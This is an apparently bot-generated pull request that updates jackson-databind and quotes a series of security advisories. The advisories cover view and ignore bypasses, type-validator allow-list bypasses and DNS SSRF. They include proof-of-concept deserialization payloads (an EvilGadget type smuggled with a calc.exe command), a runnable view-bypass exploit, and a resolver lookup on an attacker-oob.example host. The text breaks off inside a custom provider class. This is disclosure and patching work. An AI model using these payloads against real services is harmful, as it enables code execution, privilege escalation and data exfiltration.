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fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.7 [security] - #62

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fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.21.7 [security]#62
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
com.fasterxml.jackson.core:jackson-databind (source) 2.21.3 → 2.21.7 age confidence

jackson-databind has a @​JsonView bypass for unwrapped creator parameters

CVE-2026-54518 / GHSA-rcqc-6cw3-h962

More information

Details

Summary

UnwrappedPropertyHandler.processUnwrappedCreatorProperties() replays buffered JSON into creator parameters but never consults prop.visibleInView(activeView). The normal property-based creator path gates creator properties on the active view, but this unwrapped-creator replay path bypasses that check, so a constructor parameter annotated with both @JsonView(AdminView.class) and @JsonUnwrapped is populated from attacker JSON even when a more restrictive view is active.

Impact

View-restricted unwrapped creator parameters can be set from untrusted input where @JsonView is used as a write-side authorization boundary.

Affected / Patched (verified via git tag --contains)
  • 2.21 line: >= 2.21.0, < 2.21.4 -> fixed in 2.21.4 (backport 721fa07, #​5973)
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5971, d633bc0)
Severity / CWE

Maintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-284.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

CVE-2026-54512 / GHSA-j3rv-43j4-c7qm

More information

Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact
  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element
Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

CVE-2026-54513 / GHSA-rmj7-2vxq-3g9f

More information

Details

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)
  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #​5983 (24529da), 2.18 backport PR #​5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

CVE-2026-54514 / GHSA-hgj6-7826-r7m5

More information

Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via git tag --contains on 1f5a103)
  • 2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has case-insensitive deserialization bypasses per-property @​JsonIgnoreProperties

CVE-2026-54515 / GHSA-5jmj-h7xm-6q6v

More information

Details

Summary

In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.

Impact

An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).

Affected / Patched

Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.

Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915.

Upstream fix

FasterXML/jackson-databind#5962 (PR #​5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind's renamed @​JsonIgnore'd setters can deserialize via private fields

CVE-2026-54516 / GHSA-9fxm-vc8v-hj55

More information

Details

Summary

POJOPropertiesCollector._renameProperties() allows a property with @JsonProperty("renamed") on the getter and @JsonIgnore on the setter to be renamed rather than dropped. With MapperFeature.INFER_PROPERTY_MUTATORS enabled (default), the private backing field is retained; during deserialization BeanDeserializerFactory.addBeanProps() sees hasField()==true, builds a FieldProperty, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the @JsonIgnore on the setter.

Impact

POJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE.

Affected / Patched (verified via git tag --contains)
  • 2.21 line: >= 2.21.0, < 2.21.4 -> fixed in 2.21.4 (backport c3d56dd, #​5968)
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5967, e88cb17)
Severity / CWE

Maintainer: minor. Reporter: HIGH. CWE-915.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has @​JsonView bypass for setterless creator properties

CVE-2026-54517 / GHSA-5hh8-q8hv-fr38

More information

Details

Summary

In BeanDeserializer._deserializeUsingPropertyBased, the active-view (@JsonView) filter was applied only to creator properties; the regular property-buffering branch performed no prop.visibleInView(activeView) check. A change making SetterlessProperty.isMerging() return true routed setterless Collection/Map properties through this unguarded path, so a setterless collection annotated with a restricted @JsonView is populated from attacker JSON even when the active view excludes it.

Impact

View-restricted (e.g. admin-only) setterless collection/map properties can be written from untrusted JSON despite @JsonView gating — an access-control / mass-assignment bypass. No RCE or DoS.

Affected / Patched (verified via git tag --contains)
  • 2.21 line: >= 2.21.0, < 2.21.4 -> fixed in 2.21.4 (backport 94c5d21, #​5970)
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5969, 5bf23ed)
Severity / CWE

Maintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-1220.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @​JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy

CVE-2026-59888 / GHSA-3pjw-73gf-8qr5

More information

Details

Summary

For Java Records, POJOPropertiesCollector._removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before _renameUsing() applies the PropertyNamingStrategy. After the rename, _ignoredPropertyNames still holds only the pre-rename name, so _ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.

Impact

A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).

Affected / Patched (verified via git tag --contains)
  • 2.15-2.18 line: >= 2.15.0, < 2.18.8 -> fixed in 2.18.8 (backport c7c6783)
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5974, baa2cdf)
Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @JsonView bypass for creator properties with @JsonTypeInfo(include=As.EXTERNAL_PROPERTY)

GHSA-mhm7-754m-9p8w

More information

Details

Summary

In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @&#8203;JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #​6004 ("Extend #​5969/#​5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but
the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.

Vulnerable Code Path

File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java
Method: deserializeUsingPropertyBasedWithExternalTypeId

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):

 if (creatorProp != null) {
     // [databind#1381]: if useInput=FALSE, skip deserialization from input
     if (creatorProp.isInjectionOnly()) { ... }
     // NO visibleInView(activeView) CHECK HERE
     if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
         if (buffer.assignParameter(creatorProp, ...)) { ... }
     }
     continue;
 }

On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

  if (creatorProp != null) {
     // [databind#5971]: must honor active view here too
     if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
         p.skipChildren();
         continue;
     }
     ...
 }

The 2.21 and 2.18 backport PRs (#​6005 and #​6003) only backported the main-path fixes from #​5969/#​5971; the external-type-id fix from #​6004 was not backported. The maintainer closed #​6005
with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4:

  import com.fasterxml.jackson.annotation.*;
  import com.fasterxml.jackson.databind.ObjectMapper;

  public class JsonViewExternalTypeIdBypass {
      public static class PublicView {}
      public static class AdminView extends PublicView {}

      public static abstract class Asset { public String name; }
      public static class PublicAsset extends Asset {}
      public static class AdminAsset extends Asset { public String secret; }

      public static class Container {
          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
                  property = "kind")
          @JsonSubTypes({
              @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
              @JsonSubTypes.Type(value = AdminAsset.class,  name = "admin")
          })
          @JsonView(AdminView.class)
          public Asset asset;

          public String label;

          @JsonCreator
          public Container(
                  @JsonProperty("label") String label,
                  @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
              this.label = label;
              this.asset = asset;
          }
      }

      public static class Wrapper {
          @JsonView(PublicView.class)
          public Container data;
      }

      public static void main(String[] args) throws Exception {
          // Admin-only "asset" should be blocked when reading with PublicView
          String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
                      + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";

          ObjectMapper om = new ObjectMapper();
          Wrapper r = om.readerWithView(PublicView.class)
                  .forType(Wrapper.class)
                  .readValue(json);

          System.out.println(r.data);
          // Actual on 2.21.4:   Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
          // Expected (secure):  Container{label='hello', asset=null}
          if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
              System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
          }
      }
  }

A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId
code path and not a misconfiguration.

Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @​JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot
REST controllers that use @​JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing
the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @​JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.

  • CWE-863 (Incorrect Authorization)
  • Same impact class as CVE-2026-54517 / CVE-2026-54518
  • No RCE, no DoS — this is an access-control / mass-assignment bypass
Trigger Conditions

Developer code must combine (no opt-in user configuration required):

  1. Property-based @​JsonCreator on the outer type
  2. A creator parameter annotated with @​JsonView(RestrictedView.class)
  3. The same parameter annotated with @​JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @​JsonView bypassed for @​JsonUnwrapped container properties on deserialization

CVE-2026-59889 / GHSA-5gvw-p9qm-jgwh

More information

Details

Summary

UnwrappedPropertyHandler.processUnwrapped() replays the buffered JSON for a @JsonUnwrapped property by iterating its properties and calling prop.deserializeAndSet() with no prop.visibleInView(ctxt.getActiveView()) guard — the exact guard processUnwrappedCreatorProperties() received in the #​5971 / GHSA-rcqc-6cw3-h962 fix, and the guard BeanDeserializer.deserializeWithUnwrapped applies to directly-matched properties. As a result, a property annotated with both @JsonView(PrivilegedView.class) and @JsonUnwrapped is written from attacker JSON even when deserializing under a more-restrictive active view.

Correction to the original framing (runtime-verified): the gap is NOT a per-field inner @JsonView (the unwrapped sub-object's own BeanDeserializer gates inner fields correctly). The unchecked gate is the view of the unwrapped CONTAINER property.

Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)

An @JsonView(AdminView) property that is NOT @JsonUnwrapped → null under PublicView (correctly gated). The identical property WITH @JsonUnwrapped → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.

Impact — write-side mass-assignment / privilege escalation

@JsonView is commonly used as a write-side authorization guard: a public endpoint binds the body under readerWithView(PublicView.class) and groups privileged state in a nested object whose container property is @JsonView(AdminView). When that property is @JsonUnwrapped, an untrusted caller mass-assigns it. PoC: a self-service registration where AccountFlags{role,approved,creditBalance} is @JsonView(AdminView) @JsonUnwrapped; attacker JSON {role:ADMIN,approved:true,creditBalance:1000000} under PublicView binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (C:N/I:H/A:N); no worse than the C:L/I:L parent and arguably higher as @JsonView-as-write-guard is the exact use case #​5971/#​5969 defended.

Affected
  • com.fasterxml.jackson.core:jackson-databind 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #​5973 backport). DEFAULT_VIEW_INCLUSION default=true.
  • tools.jackson.core:jackson-databind 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). DEFAULT_VIEW_INCLUSION default=false → the stock-config repro is the common shape where privileged inner fields are individually @JsonView(PublicView) and the developer relies on the container @JsonView(AdminView); the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.)
Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)
  • nested @JsonUnwrapped (unwrapped-in-unwrapped) — recursive bypass.
  • merge / readerWithView(...).withValueToUpdate(...) (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly.
  • builder-based deserializer (@JsonDeserialize(builder=...)) — BuilderBasedDeserializer routes through the same processUnwrapped.
  • Honest non-findings: read-side serialization correctly honors views (no leak); @JsonAnySetter+view and @JsonTypeInfo+@JsonUnwrapped are separate/unsupported behaviors, not this bug.
Fix

Add prop.visibleInView(ctxt.getActiveView()) (when MapperFeature.DEFAULT_VIEW_INCLUSION/active-view applies) to the processUnwrapped() property loop, mirroring processUnwrappedCreatorProperties(). One change closes the impact PoC + all three variants across BeanDeserializer and BuilderBasedDeserializer. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization

CVE-2026-77310 / GHSA-vvgp-rfg2-7rr6

More information

Details

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #​5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch:

  • Line 357-358 (UNFIXED):
    case STD_INET_ADDRESS:
    return InetAddress.getByName(value); // eager forward DNS lookup
  • Line 359-381 + helper at 494-496 (FIXED by PR #​5951):
    protected InetSocketAddress _inetSocketAddress(String host, int port) {
    // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:
    return InetSocketAddress.createUnresolved(host, port); // no DNS
    }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8):
[A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null
[B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing):
static class Config { public InetAddress bindHost; public int port; }
mapper.readValue("{"bindHost":"poc-reach.example","port":1}", Config.class);
// -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.

Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).

Credit : Ta Duc Thien

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

CVE-2026-19032 / GHSA-wjgm-6hv5-3cvf

More information

Details

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);          // attacker-controlled URI string
try {
    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
    final String scheme = uri.getScheme();
    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
        if (provider.getScheme().equalsIgnoreCase(scheme)) {
            return provider.getPath(uri);  // attacker scheme selects & drives a provider
        }
    }
    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location
  • src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java
    • STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body
      (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).
Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04_PathProvider.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;

/**
 * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
 * Path.of(uri) / ServiceLoader<FileSystemProvider>.
 */
public class Vuln04_PathProvider {
    public static class Config { public Path workdir; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
        String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
        System.out.println("Deserializing (default mapper): " + json);
        try {
            Config c = mapper.readValue(json, Config.class);
            System.out.println("Resolved Path = " + c.workdir + "  (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
            System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
        } catch (Throwable t) {
            System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
            System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
        }
    }
}

PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider).
A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.

com/poc/EvilFileSystemProvider.java:

package com.poc;

import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;

/**
 * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
 * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
 * application's classpath. Its static initializer and getPath() record that they executed,
 * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
 * inside jackson's readValue.
 */
public class EvilFileSystemProvider extends FileSystemProvider {
    public static volatile boolean STATIC_INIT_RAN = false;
    public static volatile String GET_PATH_URI = null;
    static { STATIC_INIT_RAN = true; }

    @Override public String getScheme() { return "evilscheme"; }

    @Override public Path getPath(URI uri) {
        GET_PATH_URI = uri.toString();
